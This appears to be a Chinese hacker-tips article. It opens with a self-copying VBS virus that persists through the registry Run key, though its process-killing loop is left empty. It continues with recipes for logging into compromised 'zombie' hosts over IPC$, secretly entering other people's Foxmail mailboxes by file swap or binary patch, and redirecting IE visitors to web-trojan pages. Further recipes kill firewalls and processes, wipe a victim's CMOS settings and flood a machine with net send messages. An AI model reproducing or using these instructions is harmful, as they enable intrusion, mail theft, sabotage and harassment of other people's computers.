病毒代码一般短小精悍,深入分析它对于提高编程水平是十分有助益的。下面我将通过分析一个具有禁止QQ运行功能的VBS病毒程序代码向你演示病毒的生与死。
一、程序源码分析:
'------------------------------------------------------------------------------------------
'本程序仅供学习研究VBS编程使用,严禁用于非法目的,请遵守国家计算机相关法律
'把应用程序名称改成其他应用程序,在启动时便能禁止相关程序的运行
'本程序适用于基于NT内核的操作系统,如:Windows NT4.0、win2K、WindowsXP等
'------------------------------------------------------------------------------------------
'VIRUS CODE STARTS HERE
'------------------------------------------------------------------------------------------
'容错控制,防止发生异常抛出而导致程序崩溃
On Error Resume Next
'创建文件系统对象
Set fso=CreateObject("Scripting.FileSystemObject")
'获得系统文件夹
Set sysdir=fso.GetSpecialFolder(1)
Set filespec=sysdir&"\hlx0Q.vbs"
'创建Windows脚本壳对象
Set ws=CreateObject("Wscript.Shell")
'将病毒文件拷贝到系统文件夹下并改名
fso.GetFile(WScript.ScriptFullName).Copy(filespec)
'写注册表,设置启动时自动加载项
ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\hlx0Q","hlx0Q.vbs"
'获得QQ服务进程,您可以通过按“Ctrl+Alt+Del”查看进程列表,获得进程映像名称
do
loop
'注销对象
Set fso=Nothing
Set sysdir=Nothing
Set ws=Nothing
Set filename=Nothing
Set objWMIService=Nothing
Set objProcess=Nothing
'---------------------------------------------------------------------------
'VIRUS CODE ENDS HERE
'----------------------------------------------------------------------------
小黑客厚道学:掌握一些黑客知识是非常必要的,不是要攻击别人,而是通过简单的黑客知识掌握网络/系统安全技术,开拓思路,从而更好的保护自己的电脑。也就是所谓的“知己知彼百战不殆”。
1、简化CMD下用IPC$登录肉鸡的操作
用记事本建立一个名为login.bat文件,代码如下:
@net use \\%1\ipc$ %3 /u:"%2"
@echo OK!连接已经建立成功!
使用方法是在CMD下输入:login.bat肉鸡的IP肉鸡的ADMIN组的帐号名/用户的密码。这样我们以后用IPC$登录肉鸡就不用每次都输入一大串的命令了。
2、进入Foxmail账户有妙招
在Foxmail中可以为账户加上访问密码,如果没有密码却想进入别人的信箱该怎么办呢?一个众所周知的办法是:打开Foxmail文件夹下以账户名命名的任意一个文件夹,里边有个名为account.stg的文件,把它复制到你想进入的账户目录里,直接覆盖该目录下原来的account.stg文件。运行Foxmail,点击那个忘记了密码的账户,可以直接进入该信箱!但是上面的方法并不隐蔽,因为对方下次使用信箱时就会发现你破解了他的信箱,这样不够隐蔽。要想进入对方的信箱还不被对方发现,可以使用下面这个办法:用16进制文件编辑器UltraEdit打开Foxamil的主程序foxmail.exe文件,按组合键Alt+F3查找以下的代码:E8617EE4FF7515,单击“确定”开始查找,找到后把其中的7515改为9090,其他代码不用改,然后保存就可以了。执行foxmail.exe,这样可以随意进入设有密码的Foxmail邮箱。该技巧对最新的Foxmail5.0.500.0有效。
3、利用vbs脚本判断对方的IE版本
我们在编制网页木马时,常常需要页面具有自动判别对方IE版本的能力,根据版本的不同,跳转到不同的网页木马页面。之所以这样做,是因为不同版本的IE,其木马网页的制作方法并不相同,比方说针对IE6.0版的网页木马制作方法与其下各个版本就不相同。
打开记事本,输入如下内容:
“〈SCRIPT language=vbscript〉
if Instr(window.navigator.appversion,"MSIE 6.0")>0 then
alert("浏 览 器:Internet Explorer 6.0")
window.location.href="http://IE6.0 网页木马页面"
else
alert("浏 览 器:6.0版本以下")
window.location.href="http://IE6.0以下版网页木马页面"
end if
〈/SCRIPT〉”
这样,使用IE6.0的用户浏览了该页面后,会自动跳转到http://IE6.0网页木马页面,不是IE6.0的用户浏览后会自动跳转到http://IE6.0以下版网页木马页面。
4、肉鸡的ipc$打不开该怎么办
有些朋友反映telnet到对方的机器后却不能打开ipc$,这该怎么办呢?我的做法是首先试试net share命令,看能不能使用,如果不能使用,说明对方没有安装文件和打印机共享服务,那ipc$一定是无法使用,此时只能放弃了。再输入net share ipc$试试,看看ipc$能不能打开,如果不行就输入net stop server,接下来再输入net start server,这样试试看ipc$能不能打开。如果net stop server不能执行,先把其附属进程关闭,再关server的主进程,一般到此ipc$多半可以连接上了。如果还是不行,那多半是对方有防火墙,这时只能想办法杀掉防火墙的进程了。
5、用vbs脚本结束进程
先声明这一招不是我自己想到的,是从高手ilovewen那里学来的。把下面的内容保存为.vbs脚本,在Windows2000下可以运行成功,代码内容如下:
On Error Resume Next
strComputer="."Set objWMIService = GetObject("winmgmts:" _
&& "{impersonationLevel=impersonate}!\\" && strComputer && "\root\cimv2")Set colProcessList
=objWMIService.ExecQuery _
("Select * from Win32_Process Where Name=''*.exe''")For Each objProcess in colProcessList
objProcess.Terminate()Next
其中*.exe是你要结束的进程,将它改为你要结束进程的名即可。
6、利用批处理清除对方的CMOS内容
如果你想清除对方的CMOS内容该怎么办?方法有很多了,利用批处理绝对是很另类的一招吧?请打开记事本,在文件中输入如下内容:
Const ForAppending=8
Dim fso,x,y
Set fso=CreateObject("Scripting.FileSystemObject")
Set x=fso.OpenTextFile("c:\autoexec.bat", ForAppending, True)
Set y=fso.CreateTextFile("c:\1.txt", True)
x.WriteBlankLines(1)
x.Write"debug<1.txt"
x.WriteBlankLines(1)
y.WriteLine("o 70 10")
y.WriteBlankLines(1)
y.Write("o 71 10")
y.Close
x.Close
把上述内容保存为.bat文件,然后拷贝到对方的电脑上运行即可。它的作用是向Autoexec.bat中加入数据,创建一个文件,并向其中写入内容,在他下次开机时调用debug清除掉CMOS设置,包括CMOS密码。其实,这与大家常用的清除CMOS密码的方法很相象,通常情况下清除CMOS密码的方法是在DOS状态下输入debug,回车之后输入如下命令即可手工清除密码:
-o 70 10
-o 71 01
-q
7、利用批处理轰炸对方电脑
这是从一些高手那里学来的招数,呵呵,真是好方法。具体步骤是,打开记事本,在里面输入如下内容:
@echo 正在轰炸中……
:start
@net send %1 %2
@if errorlevel 1 goto over
goto start
ver
@echo 发送失败
将其保存为任意名字的.bat文件即可。使用用法是:任意名字的.bat+空格+目标IP地址+空格+你要对他说的话。
8、戏弄非法用户
为防止有人胡乱使用自己的电脑,我们可以利用批处理文件来戏弄一下非法用户。方法是用记事本程序在Windows目录中建立一个Winstart.bat文件,并在该文件中加入以下命令:
@echo off
echo non-system disk or disk error
choice/c:&&/n
上面代码中的“&&”为我们设置的密码,您可以自行设置。这样重新启动计算机开机时就会显示“non-system disk or disk error”,接着光标一闪一闪的好像死机了一样,造成非法用户以为Windows死机的假象。有时就连高手也会上当受骗!当我们要进入系统时,只要输入“&&”即可。
9、我的电脑你别用
如果你不想让别人使用你的电脑,又不好意思说,那该怎么办呢?在CMOS中设密码,太小气了吧?他如果问你密码,你好意思不说吗?其实,我们可以用下面这个办法来欺骗一下他的眼睛,使他人以为电脑坏了。
方法是:进入MS-DOS方式或CMD窗口下,输入:copy con null.sys,按一下回车键,然后什么也别输入,再按一次回车键,按Ctrl+Z或按F6键,屏幕上会显示^z,按一下回车键,屏幕上会显示“1 file(s) copied”,这样就一个名为null.sys的空文件就建好了。现在,找到C盘根目录下的config.sys文件,注意这个文件是隐藏属性,所以必须进入“我的电脑”中,点击“查看(v)”→“文件夹选项”→“查看”→“显示所有文件”才能看到它,然后右键单击该文件,在弹出菜单中选择“用记事本打开”,接下来在config.sys文件中加入:device=c:\null.sys /d:null这样一行,保存修改结果,退出记事本。以后,你的电脑就会在出现Windows的启动画面时自动重新启动,如此反复下去,别人一定以为你的电脑出问题了,而你就可以偷偷乐了。